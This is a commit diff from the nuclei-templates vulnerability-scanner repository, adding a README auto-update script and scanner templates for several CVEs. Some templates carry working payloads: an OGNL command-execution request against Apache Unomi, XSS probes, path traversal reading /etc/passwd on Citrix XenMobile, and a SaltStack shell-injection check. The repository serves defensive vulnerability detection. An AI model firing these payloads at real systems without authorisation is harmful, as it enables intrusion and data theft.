Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖

Merge pull request #624 from dwisiswant0/add/CVE-2020-13942
Add CVE-2020-13942
2026-11-07 08:36:19 -10:00 · 2020-11-18 19:13:34 +00:00 · 2020-11-19 00:42:55 +05:30 · 2020-11-18 19:09:59 +00:00 · 2020-11-19 00:39:33 +05:30 · 2020-11-19 00:47:19 +07:00
18 changed files with 468 additions and 30 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,40 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,30 +11,28 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.2.0`
+### Nuclei templates `v7.2.6` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 136 | files | 46 |
+| vulnerabilities | 39 | panels | 40 |
+| technologies | 38 | security-misconfiguration | 28 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 5 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 |

-### nuclei templates `v7.2.0` tree overview 
+
+### Nuclei templates `v7.2.6` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
 │   ├── CVE-2013-2251.yaml
@@ -100,6 +99,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
@@ -111,6 +111,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
 │   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
@@ -119,12 +120,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14815.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
 │   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
@@ -134,6 +140,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -152,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
@@ -159,6 +167,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
 │   ├── CVE-2020-9757.yaml
+│   ├── cve-2017-12637.yaml
 │   ├── cve-2019-9733.yaml
 │   └── cve-2020-0618.yaml
 ├── default-credentials
@@ -169,7 +178,9 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
@@ -219,8 +230,10 @@ An overview of the nuclei template directory including number of templates and H
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
+│   ├── basic-auth-bruteforce.yaml
 │   ├── directory-traversal.yaml
-│   └── generic-lfi-fuzzing.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
@@ -270,6 +283,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
@@ -303,6 +317,7 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
@@ -315,6 +330,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
@@ -360,6 +376,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
@@ -385,12 +402,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-wordfence-xss.yaml
 │   ├── wordpress-wpcourses-info-disclosure.yaml
 │   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
+    ├── basic-auth-workflow.yaml
    ├── bigip-pwner-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
+    ├── jira-exploitation-workflow.yaml
    ├── liferay-rce-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
@@ -405,7 +425,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-14 directories, **352 templates**. 
+**15 directories, 375 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -415,4 +435,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -13,8 +13,16 @@ requests:
    path:
      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -0,0 +1,29 @@
+id: cve-2020-14815
+
+info:
+  name: Oracle Fusion Middleware XSS
+  author: shine
+  severity: medium
+
+  # Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=alert(document.domain)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -0,0 +1,31 @@
+id: cve-2020-8209
+
+info:
+  name: Citrix XenMobile Server Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Improper access control in Citrix XenMobile Server 10.12 before RP2,
+    Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
+    before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
+
+    References:
+    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: word
+        words:
+          - "fileDownload=true"
+          - "application/octet-stream"
+          - "attachment;"
+        condition: and
+        part: header
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -0,0 +1,71 @@
+id: mx-service-detector
+
+info:
+  name: E-mail service detector
+  author: binaryfigments
+  severity: info
+  description: Check the email service or spamfilter that is used for a domain.
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    class: inet
+    recursion: true
+    retries: 5
+    matchers-condition: or
+    matchers:
+      - type: word
+        name: "Office 365"
+        words:
+          - "mail.protection.outlook.com"
+      - type: word
+        name: "Google Apps"
+        words:
+          - "aspmx2.googlemail.com"
+          - "aspmx3.googlemail.com"
+          - "alt1.aspmx.l.google.com"
+          - "alt2.aspmx.l.google.com"
+          - "aspmx.l.google.com"
+      - type: word
+        name: "ProtonMail"
+        words:
+          - "mail.protonmail.ch"
+          - "mailsec.protonmail.ch"
+      - type: word
+        name: "Zoho Mail"
+        words:
+          - "mx.zoho.eu"
+          - "mx2.zoho.eu"
+          - "mx3.zoho.eu"
+      - type: word
+        name: "ForcePoint Email Security"
+        words:
+          - "in.mailcontrol.com"
+      - type: word
+        name: "E-Zorg NL"
+        words:
+          - "spamfilter02.ezorg.nl"
+          - "spamfilter01.ezorg.nl"
+          - "spamfilter.ezorg.nl"
+          - "spamfilter03.ezorg.nl"
+      - type: word
+        name: "Kerio Cloud EU"
+        words:
+          - "mx1.eu1.kerio.cloud"
+          - "mx2.eu1.kerio.cloud"
+      - type: word
+        name: "Kerio Cloud US"
+        words:
+          - "mx1.us1.kerio.cloud"
+          - "mx2.us1.kerio.cloud"
+          - "mx3.us1.kerio.cloud"
+      - type: word
+        name: "Proofpoint EU"
+        words:
+          - "mx1-eu1.ppe-hosted.com"
+          - "mx2-eu1.ppe-hosted.com"
+      - type: word
+        name: "Proofpoint US"
+        words:
+          - "mx1-us1.ppe-hosted.com"
+          - "mx2-us1.ppe-hosted.com"
@@ -0,0 +1,20 @@
+id: spoofable-spf-records-ptr
+
+info:
+  name: Find spoofable SPF records containing the PTR mechanism
+  author: binaryfigments
+  severity: info
+  description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+    class: inet
+    recursion: true
+    retries: 3
+    matchers:
+      - type: word
+        words:
+          - "v=spf1"
+          - " ptr "
+        condition: and
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: apache-tomcat-snoop
+
+info:
+  name: Apache Tomcat example page disclosure - snoop
+  author: pdteam
+  severity: low
+  description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
+
+  # Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Request URI: /examples/jsp/snp/snoop.jsp'
+
+      - type: status
+        status:
+          - 200
@@ -84,6 +84,7 @@ requests:
          - "JMImplementation"
          - "EnvironmentManager"
          - "org.springframework.boot.loader"
+          - "health"
        condition: or
      - type: status
        status:
@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -1,7 +1,7 @@
-id: jira-exploitaiton-workflow
+id: jira-exploitation-workflow

 info:
-        name: Jira Exploitaiton workflow
+        name: Jira Exploitation workflow
        author: micha3lb3n

 variables:
Author	SHA1	Message	Date
GitHub Action	eb270c814c	Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖	2020-11-18 19:13:34 +00:00
bauthard	1ec8040a8d	Merge pull request #624 from dwisiswant0/add/CVE-2020-13942 Add CVE-2020-13942	2020-11-19 00:42:55 +05:30
GitHub Action	536539570e	Auto Update README [Wed Nov 18 19:09:59 UTC 2020] 🤖	2020-11-18 19:09:59 +00:00
bauthard	7d41f99f4e	Merge pull request #623 from dwisiswant0/add/CVE-2020-16846 Add CVE-2020-16846	2020-11-19 00:39:33 +05:30
Dwi Siswanto	05f41079f4	🔥 Add CVE-2020-13942	2020-11-19 00:47:19 +07:00
Dwi Siswanto	63cfa344bd	🔥 Add CVE-2020-16846	2020-11-19 00:21:07 +07:00
GitHub Action	5bd7f829ab	Auto Update README [Wed Nov 18 14:52:25 UTC 2020] 🤖	2020-11-18 14:52:25 +00:00
bauthard	224e42bbbd	readme wip	2020-11-18 20:21:29 +05:30
GitHub Action	c882f01d0d	Auto Update README [Tue Nov 17 19:15:06 UTC 2020] 🤖	2020-11-17 19:15:06 +00:00
bauthard	2544f78855	Merge pull request #622 from dwisiswant0/feature/auto-update-readme Enhance auto update README	2020-11-18 00:44:38 +05:30
Dwi Siswanto	18c74bc6c9	🔨 Remove unused import	2020-11-18 01:55:17 +07:00
Dwi Siswanto	be8472e760	✏️ Incorrect closing tag	2020-11-18 01:33:14 +07:00
Dwi Siswanto	bd7cb4643f	📝 Add trailing newlines	2020-11-18 01:29:05 +07:00
Dwi Siswanto	ed4cbf6df4	✏️ Wrong variable template	2020-11-18 01:26:27 +07:00
Dwi Siswanto	6ac16c7660	🔨 Fix incorrent path script	2020-11-18 01:23:48 +07:00
Dwi Siswanto	8d47af848b	✏️ Remove unnecessary args	2020-11-18 01:21:17 +07:00
Dwi Siswanto	2a3259b338	🔨 Auto update readme improves	2020-11-18 01:21:17 +07:00
Dwi Siswanto	7f48d4c8c5	🔨 Fix conflicts	2020-11-18 01:20:40 +07:00
GitHub Action	d477db3002	Auto Update README [Tue Nov 17 18:12:06 UTC 2020] 🤖	2020-11-17 18:12:06 +00:00
bauthard	951a32d833	readme wip	2020-11-17 23:41:29 +05:30
bauthard	245450ba03	Merge pull request #617 from geeknik/patch-15 Update open-redirect.yaml	2020-11-17 18:26:19 +05:30
GitHub Action	8d637df405	Auto Update README [Tue Nov 17 12:45:06 UTC 2020] 🤖	2020-11-17 12:45:06 +00:00
bauthard	2a46a9000b	readme. update	2020-11-17 18:14:42 +05:30
bauthard	7186a9c276	Merge pull request #621 from projectdiscovery/readme-auto-update Readme auto update	2020-11-17 18:13:46 +05:30
bauthard	77564e1711	Merge pull request #620 from dwisiswant0/feature/auto-update-readme Feature Auto Update README	2020-11-17 18:12:04 +05:30
Dwi Siswanto	3c65d12715	Merge branch 'feature/auto-update-readme' of github.com:dwisiswant0/nuclei-templates into feature/auto-update-readme	2020-11-17 18:41:17 +07:00
Dwi Siswanto	344760aab5	♻️ Add dep for update readme workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	eb015be802	🔨 Update readme script	2020-11-17 18:39:51 +07:00
Dwi Siswanto	c82cf8b720	📝 Fix indents	2020-11-17 18:39:51 +07:00
Dwi Siswanto	dd95ae5a58	♻️ Add auto update README workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	1e8e3a9304	🔨 Fix conflicts	2020-11-17 18:39:11 +07:00
bauthard	e857aef0f6	test	2020-11-17 16:58:04 +05:30
bauthard	c03f0f07c1	Merge pull request #618 from geeknik/patch-16 Update kubernetes-pods.yaml	2020-11-17 16:28:44 +05:30
bauthard	9403d02e38	Merge pull request #619 from Sanya1991/master Add CVE-2017-12637 template	2020-11-17 16:28:19 +05:30
bauthard	071e3b25c9	few updates	2020-11-17 16:27:15 +05:30
Sandor Toth	0202889780	cve-2017-12637.yaml tab fixed	2020-11-17 11:18:19 +01:00
Sandor Toth	f5e1d23545	cve-2017-12637.yaml added	2020-11-17 11:14:41 +01:00
Dwi Siswanto	1cb5780680	♻️ Add dep for update readme workflow	2020-11-17 06:43:59 +07:00
Dwi Siswanto	0932426f0e	🔨 Update readme script	2020-11-17 06:43:02 +07:00
Dwi Siswanto	cd4db3c9c5	🔥 Remove README.py	2020-11-17 06:42:49 +07:00
Dwi Siswanto	a8a891d117	📝 Fix indents	2020-11-17 06:02:12 +07:00
Dwi Siswanto	b8b9152950	♻️ Add auto update README workflow	2020-11-17 05:59:12 +07:00
Dwi Siswanto	8747f5ed9c	🔨 Update auto README	2020-11-17 05:58:45 +07:00
Geeknik Labs	7629b08e8e	Update kubernetes-pods.yaml This either needs to match against status 200 or it needs to ignore status 404 due to false positives.	2020-11-16 17:35:49 +00:00
Geeknik Labs	bc398cf3e3	Update open-redirect.yaml Add `langTo` parameter.	2020-11-16 17:02:48 +00:00
bauthard	7c7a7ba69f	readme update	2020-11-16 22:25:13 +05:30
Geeknik Labs	a2243cbf30	Update open-redirect.yaml Add missing host to `RequestURI`. 👍🏻	2020-11-16 16:52:13 +00:00
bauthard	348d46fbb0	Merge pull request #615 from dwisiswant0/add/CVE-2020-8209 Add CVE-2020-8209	2020-11-16 21:58:26 +05:30
Dwi Siswanto	d6198665e7	🔥 Add CVE-2020-8209 References: - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/	2020-11-16 21:49:51 +07:00
bauthard	2f42b6edd7	Adding apache-tomcat-snoop example page	2020-11-16 19:30:33 +05:30
bauthard	2187e142b1	Merge pull request #613 from binaryfigments/master Added check for spoofable SPF records	2020-11-15 20:59:02 +05:30
bauthard	4ed2e6f56f	Merge pull request #614 from mohammedshine/patch-6 Create CVE-2020-14815.yaml	2020-11-14 15:38:05 +05:30
bauthard	b1965155f7	Update CVE-2020-14815.yaml	2020-11-14 15:37:15 +05:30
bauthard	a710c24d4d	Update CVE-2020-14815.yaml	2020-11-14 15:35:06 +05:30
mohammedshine	a273c87c2e	Create CVE-2020-14815.yaml	2020-11-13 01:25:48 +05:30
bauthard	3cf5167077	Update CVE-2019-20141.yaml	2020-11-12 14:30:01 +05:30
bauthard	c4349a33cf	fixing possible false positive	2020-11-12 13:55:56 +05:30
Sebastian Broekhoven	51754d7cd1	added forcepoint	2020-11-11 23:22:57 +01:00
Sebastian Broekhoven	4cc190f1b9	Added: E-mail service detector	2020-11-11 23:21:13 +01:00
